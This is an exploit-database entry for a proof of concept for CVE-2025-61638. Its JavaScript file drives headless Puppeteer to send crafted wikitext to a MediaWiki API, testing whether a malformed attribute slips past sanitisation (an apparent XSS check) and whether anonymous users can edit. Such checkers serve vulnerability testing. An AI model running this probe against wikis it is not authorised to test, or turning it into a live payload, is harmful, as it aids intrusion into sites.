Exploit database

GH-7b56cf22a4d9fab56d0847511944ad64

gui-ying233/cve-2025-61638

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2025-61638

1 source

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.

Repository files9
gui-ying233/cve-2025-61638Revision 12f44aab571d

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

index.js

JavaScript · 1,760 bytes
"use strict";
const puppeteer = require("puppeteer");
(async () => {
	const browser = await puppeteer.launch({
		headless: true,
		args: ["--disable-web-security"],
	});
	const page = await browser.newPage();
	const pack = require("./package.json");
	await page.setUserAgent({
		userAgent: `${pack.name || ""}/${pack.version || ""} (${
			pack.repository?.url || ""
		}; ${pack.bugs?.email || ""}) `,
	});
	const api = process.argv[2];
	console.table(
		await page.evaluate(async api => {
			const [xss, { anon, reg }] = await Promise.all([
				fetch(
					`${api}?${new URLSearchParams({
						action: "parse",
						format: "json",
						text: "{{#tag:pre||data-/data-guiying=向世界问好}}",
						prop: "text",
						wrapoutputclass: "",
						disablelimitreport: 1,
						disableeditsection: 1,
						disabletoc: 1,
						contentmodel: "wikitext",
						utf8: 1,
						formatversion: 1,
					})}`,
					{
						headers: {
							connection: "keep-alive",
						},
					},
				)
					.then(d => d.json())
					.then(d =>
						d?.parse?.text?.["*"]?.startsWith("<pre></pre>")
							? false
							: d?.parse?.text["*"]
									?.replace(/<!--.*?-->/gsu, "")
									?.trim(),
					),
				fetch(
					`${api}?${new URLSearchParams({
						action: "query",
						format: "json",
						meta: "userinfo",
						utf8: 1,
						formatversion: 1,
						uiprop: "rights",
					})}`,
					{
						headers: {
							connection: "keep-alive",
						},
					},
				)
					.then(d => d.json())
					.then(d => {
						return {
							anon: d.query.userinfo.rights.includes("edit"),
							reg: d.query.userinfo.rights.includes(
								"createaccount",
							),
						};
					}),
			]);
			return { xss, anon, reg };
		}, api),
	);
	await browser.close();
})();